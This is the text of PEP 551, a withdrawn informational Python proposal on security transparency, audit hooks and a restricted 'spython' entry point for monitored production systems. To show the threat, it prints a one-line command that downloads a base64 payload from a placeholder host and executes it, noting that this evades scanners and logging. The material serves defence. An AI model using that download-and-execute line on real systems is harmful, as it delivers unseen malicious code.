Note
This PEP has been withdrawn. For information about integratedCPython into a secure environment, we recommend consulting your ownsecurity experts.
This PEP has been split into two since its original posting.
SeePEP 578 for theauditing APIs proposed for addition to the next version of Python.
This is now an informational PEP, providing guidance to those planningto integrate Python into their secure or audited environments.
This PEP describes the concept of security transparency and how itapplies to the Python runtime. Visibility into actions taken by theruntime is invaluable in integrating Python into an otherwise secureand/or monitored environment.
The audit hooks described inPEP 578 are an essential component indetecting, identifying and analyzing misuse of Python. While the hooksthemselves are neutral (in that not every reported event is inherentlymisuse), they provide essential context to those who are responsiblefor monitoring an overall system or network. With enough transparency,attackers are no longer able to hide.
Software vulnerabilities are generally seen as bugs that enable remoteor elevated code execution. However, in our modern connected world, themore dangerous vulnerabilities are those that enable advanced persistentthreats (APTs). APTs are achieved when an attacker is able to penetratea network, establish their software on one or more machines, and overtime extract data or intelligence. Some APTs may make themselves knownby maliciously damaging data (e.g.,WannaCrypt)or hardware (e.g.,Stuxnet).Most attempt to hide their existence and avoid detection. APTs often usea combination of traditional vulnerabilities, social engineering,phishing (or spear-phishing), thorough network analysis, and anunderstanding of misconfigured environments to establish themselves anddo their work.
The first infected machines may not be the final target and may notrequire special privileges. For example, an APT that is established as anon-administrative user on a developer’s machine may have the ability tospread to production machines through normal deployment channels. It iscommon for APTs to persist on as many machines as possible, with sheerweight of presence making them difficult to remove completely.
Whether an attacker is seeking to cause direct harm or hide theirtracks, the biggest barrier to detection is a lack of insight. Systemadministrators with large networks rely on distributed logs tounderstand what their machines are doing, but logs are often filtered toshow only error conditions. APTs that are attempting to avoid detectionwill rarely generate errors or abnormal events. Reviewing normaloperation logs involves a significant amount of effort, though work isunderway by a number of companies to enable automatic anomaly detectionwithin operational logs. The tools preferred by attackers are ones thatare already installed on the target machines, since log messages fromthese tools are often expected and ignored in normal use.
At this point, we are not going to spend further time discussing theexistence of APTs or methods and mitigations that do not apply to thisPEP. For further information about the field, we recommend reading orwatching the resources listed underFurther Reading.
Python is a particularly interesting tool for attackers due to itsprevalence on server and developer machines, its ability to executearbitrary code provided as data (as opposed to native binaries), and itscomplete lack of internal auditing. This allows attackers to download,decrypt, and execute malicious code with a single command:
python-c"import urllib.request, base64;exec(base64.b64decode(urllib.request.urlopen('http://my-exploit/py.b64')).decode())"
This command currently bypasses most anti-malware scanners that rely onrecognizable code being read through a network connection or beingwritten to disk (base64 is often sufficient to bypass these checks). Italso bypasses protections such as file access control lists orpermissions (no file access occurs), approved application lists(assuming Python has been approved for other uses), and automatedauditing or logging (assuming Python is allowed to access the internetor access another machine on the local network from which to obtain itspayload).
General consensus among the security community is that totallypreventing attacks is infeasible and defenders should assume that theywill often detect attacks only after they have succeeded. This is knownas the “assume breach” mindset.[1] In this scenario, protections suchas sandboxing and input validation have already failed, and theimportant task is detection, tracking, and eventual removal of themalicious code. To this end, the primary feature required from Python issecurity transparency: the ability to see what operations the Pythonruntime is performing that may indicate anomalous or malicious use.Preventing such use is valuable, but secondary to the need to know thatit is occurring.
To summarise the goals in order of increasing importance:
One example of a scripting engine that has addressed these challenges isPowerShell, which has recently been enhanced towards similar goals oftransparency and prevention.[2]
Generally, application and system configuration will determine whichevents within a scripting engine are worth logging. However, given thevalue of many logs events are not recognized until after an attack isdetected, it is important to capture as much as possible and filterviews rather than filtering at the source (see the No Easy Breach videofromFurther Reading). Events that are always of interest includeattempts to bypass auditing, attempts to load and execute code that isnot correctly signed or access-controlled, use of uncommon operatingsystem functionality such as debugging or inter-process inspectiontools, most network access and DNS resolution, and attempts to createand hide files or configuration settings on the local machine.
To summarize, defenders have a need to audit specific uses of Python inorder to detect abnormal or malicious usage. WithPEP 578, the Pythonruntime gains the ability to provide this. The aim of this PEP is toassist system administrators with deploying a security transparentversion of Python that can integrate with their existing auditing andprotection systems.
On Windows, some specific features that may be integrated through thehooks added byPEP 578 include:
On Linux, some specific features that may be integrated are:
On macOS, some features that may be integrated are:
Overall, the ability to enable these platform-specific features onproduction machines is highly appealing to system administrators andwill make Python a more trustworthy dependency for applicationdevelopers.
True security transparency is not fully achievable by Python inisolation. The runtime can audit as many events as it likes, but unlessthe logs are reviewed and analyzed there is no value. Python may imposerestrictions in the name of security, but usability may suffer.Different platforms and environments will require differentimplementations of certain security features, and organizations with theresources to fully customize their runtime should be encouraged to doso.
These are discussed in greater detail in later sections, but arepresented here to frame the overall discussion.
Sysadmins should provide and use an alternate entry point (besidespython.exe orpythonX.Y) in order to reduce surface area andsecurely enable audit hooks. A discussion of what could be restrictedis below inRestricting the Entry Point.
Sysadmins should use all available measures provided by their operatingsystem to prevent modifications to their Python installation, such asfile permissions, access control lists and signature validation.
Sysadmins should log everything and collect logs to a central locationas quickly as possible - avoid keeping logs on outer-ring machines.
Sysadmins should prioritize _detection_ of misuse over _prevention_ ofmisuse.
One of the primary vulnerabilities exposed by the presence of Pythonon a machine is the ability to execute arbitrary code withoutdetection or verification by the system. This is made significantlyeasier because the default entry point (python.exe on Windows andpythonX.Y on other platforms) allows execution from the commandline, from standard input, and does not have any hooks enabled bydefault.
Our recommendation is that production machines should use a modifiedentry point instead of the default. Once outside of the developmentenvironment, there is rarely a need for the flexibility offered by thedefault entry point.
In this section, we describe a hypotheticalspython entry point(spython.exe on Windows;spythonX.Y on other platforms) thatprovides a level of security transparency recommended for productionmachines. An associated example implementation shows many of thefeatures described here, though with a number of concessions for thesake of avoiding platform-specific code. A sufficient implementationwill inherently require some integration with platform-specificsecurity features.
Official distributions will not include anyspython by default, butthird party distributions may include appropriately modified entrypoints that use the same name.
Remove most command-line arguments
Thespython entry point requires a script file be passed as thefirst argument, and does not allow any options to precede it. Thisprevents arbitrary code execution from in-memory data or non-scriptfiles (such as pickles, which could be executed using-mpickle<path>.
Options-B (do not write bytecode),-E (ignore environmentvariables) and-s (no user site) are assumed.
If a file with the same full path as the process with a._pth suffix(spython._pth on Windows,spythonX.Y._pth on Linux) exists, itwill be used to initializesys.path following the rules currentlydescribedfor Windows.
For the sake of demonstration, the example implementation ofspython also allows the-i option to start in interactive mode.This is not recommended for restricted entry points.
Log audited events
Before initialization,spython sets an audit hook that writes allaudited events to an OS-managed log file. On Windows, this is the EventTracing functionality,[7]_ and on other platforms they go tosyslog.[11]_ Logs are copied from the machine as frequently as possibleto prevent loss of information should an attacker attempt to clearlocal logs or prevent legitimate access to the machine.
The audit hook will also abort allsys.addaudithook events,preventing any other hooks from being added.
The logging hook is written in native code and configured before theinterpreter is initialized. This is the only opportunity to ensure thatno Python code executes without auditing, and that Python code cannotprevent registration of the hook.
Our primary aim is to record all actions taken by all Python processes,so that detection may be performed offline against logged events.Having all events recorded also allows for deeper analysis and the useof machine learning algorithms. These are useful for detectingpersistent attacks, where the attacker is intending to remain withinthe protected machines for some period of time, as well as for lateranalysis to determine the impact and exposure caused by a successfulattack.
The example implementation ofspython writes to a log file on thelocal machine, for the sake of demonstration. When started with-i,the example implementation writes all audit events to standard errorinstead of the log file. TheSPYTHONLOG environment variable can beused to specify the log file location.
Restrict importable modules
Also before initialization,spython sets an open-for-import hookthat validates all files opened withos.open_for_import. Thisimplementation requires all files to have a.py suffix (preventingthe use of cached bytecode), and will raise a custom audit eventspython.open_for_import containing(filename,True_if_allowed).
After opening the file, the entire contents is read into memory in asingle buffer and the file is closed.
Compilation will later trigger acompile event, so there is no needto validate the contents now using mechanisms that also apply todynamically generated code. However, if a whitelist of source files orfile hashes is available, then other validation mechanisms such asDeviceGuard[4] should be performed here.
Restrict globals in pickles
Thespython entry point will abort allpickle.find_class eventsthat use the default implementation. Overrides will not raise auditevents unless explicitly added, and so they will continue to be allowed.
Prevent os.system
Thespython entry point aborts allos.system calls.
It should be noted here thatsubprocess.Popen(shell=True) isallowed (though logged via the platform-specific process creationevents). This tradeoff is made because it is much simpler to induce arunning application to callos.system with a single string argumentthan a function with multiple arguments, and so it is more likely to beused as part of an exploit. There is also little justification forusingos.system in production code, whilesubprocess.Popen hasa large number of legitimate uses. Though logs indicating the use oftheshell=True argument should be more carefully scrutinised.
Sysadmins are encouraged to make these kinds of tradeoffs betweenrestriction and detection, and generally should prefer detection.
Recommendations beyond those suggested in the previous section aredifficult, as the ideal configuration for any environment depends onthe sysadmin’s ability to manage, monitor, and respond to activity ontheir own network. Nonetheless, here we attempt to provide some contextand guidance for integrating Python into a complete system.
This section provides recommendations using the termsshould (orshould not), indicating that we consider it risky to ignore theadvice, andmay, indicating that for the advice ought to beconsidered for high value systems. The termsysadmin refers towhoever is responsible for deploying Python throughout the network;different organizations may have an alternative title for theresponsible people.
Sysadminsshould build their own entry point, likely starting fromthespython source, and directly interface with the security systemsavailable in their environment. The more tightly integrated, the lesslikely a vulnerability will be found allowing an attacker to bypassthose systems. In particular, the entry pointshould not obtain anysettings from the current environment, such as environment variables,unless those settings are otherwise protected from modification.
Audit messagesshould not be written to a local file. Thespython entry point does this for example and testing purposes. Onproduction machines, tools such as ETW[7] or auditd[12] that areintended for this purpose should be used.
The defaultpython entry pointshould not be deployed toproduction machines, but could be given to developers to use and testPython on non-production machines. Sysadminsmay consider deployinga less restrictive version of their entry point to developer machines,since any system connected to your network is a potential target.Sysadminsmay deploy their own entry point aspython to obscurethe fact that extra auditing is being included.
Python deploymentsshould be made read-only using any availableplatform functionality after deployment and during use.
On platforms that support it, sysadminsshould include signaturesfor every file in a Python deployment, ideally verified using a privatecertificate. For example, Windows supports embedding signatures inexecutable files and using catalogs for others, and can use DeviceGuard[4] to validate signatures either automatically or using anopen_for_import hook.
Sysadminsshould log as many audited events as possible, andshould copy logs off of local machines frequently. Even if logs arenot being constantly monitored for suspicious activity, once an attackis detected it is too late to enable auditing. Audit hooksshouldnot attempt to preemptively filter events, as even benign events areuseful when analyzing the progress of an attack. (Watch the “No EasyBreach” video underFurther Reading for a deeper look at this side ofthings.)
Most actionsshould not be aborted if they could ever occur duringnormal use or if preventing them will encourage attackers to work aroundthem. As described earlier, awareness is a higher priority thanprevention. Sysadminsmay audit their Python code and abortoperations that are known to never be used deliberately.
Audit hooksshould write events to logs before attempting to abort.As discussed earlier, it is more important to record malicious actionsthan to prevent them.
Sysadminsshould identify correlations between events, as a changeto correlated events may indicate misuse. For example, module importswill typically trigger theimport auditing event, followed by anopen_for_import call and usually acompile event. Attempts tobypass auditing will often suppress some but not all of these events. Soif the log containsimport events but notcompile events,investigation may be necessary.
The first audit hookshould be set in C code beforePy_Initialize is called, and that hookshould unconditionallyabort thesys.addloghook event. The Python interface is primarilyintended for testing and development.
To prevent audit hooks being added on non-production machines, an entrypointmay add an audit hook that aborts thesys.addloghook eventbut otherwise does nothing.
On production machines, a non-validatingopen_for_import hookmay be set in C code beforePy_Initialize is called. Thisprevents later code from overriding the hook, however, logging thesetopenforexecutehandler event is useful since no code should everneed to call it. Using at least the sampleopen_for_import hookimplementation fromspython is recommended.
Sinceimportlib’s use ofopen_for_import may be easily bypassedwith monkeypatching, an audit hookshould be used to detectattribute changes on type objects.
This section discusses common or “obviously good” recommendations thatwe are specificallynot making. These range from useless or incorrectthrough to ideas that are simply not feasible in any real worldenvironment.
Do not attempt to implement a sandbox within the Python runtime.There is a long history of attempts to allow arbitrary code limited useof Python features (such as[14]), but no general success. The bestoptions are to run unrestricted Python within a sandboxed environmentwith at least hypervisor-level isolation, or to prevent unauthorisedcode from starting at all.
Do not rely on static analysis to verify untrusted code before use.The best options are to pre-authorise trusted code, such as with codesigning, and if not possible to identify known-bad code, such as withan anti-malware scanner.
Do not use audit hooks to abort operations without logging theevent first. You will regret not knowing why your process disappeared.
[TODO - more bad advice]
This article, and those linked by it, are high-level summaries of the rise ofAPTs and the differences from “traditional” malware.
http://www.securityweek.com/redefining-malware-when-old-terms-pose-new-threats
A summary of the techniques used by APTs, and links to a number of relevantwhitepapers.
https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html
High-level summary of the value of detailed logging and automatic analysis.
http://www.securityweek.com/automated-traffic-log-analysis-must-have-advanced-threat-protection
Detailed walkthrough of the processes and tools used in detecting and removingan APT.
Good security practices, capabilities and recommendations from the chief ofNSA’s Tailored Access Operation.
Thanks to all the people from Microsoft involved in helping make thePython runtime safer for production use, and especially to James Powellfor doing much of the initial research, analysis and implementation, LeeHolmes for invaluable insights into the info-sec field and PowerShell’sresponses, and Brett Cannon for the restraining and groundingdiscussions.
Copyright (c) 2017-2018 by Microsoft Corporation. This material may bedistributed only subject to the terms and conditions set forth in theOpen Publication License, v1.0 or later (the latest version is presentlyavailable athttp://www.opencontent.org/openpub/).
Source:https://github.com/python/peps/blob/main/peps/pep-0551.rst
Last modified:2025-02-01 08:59:27 GMT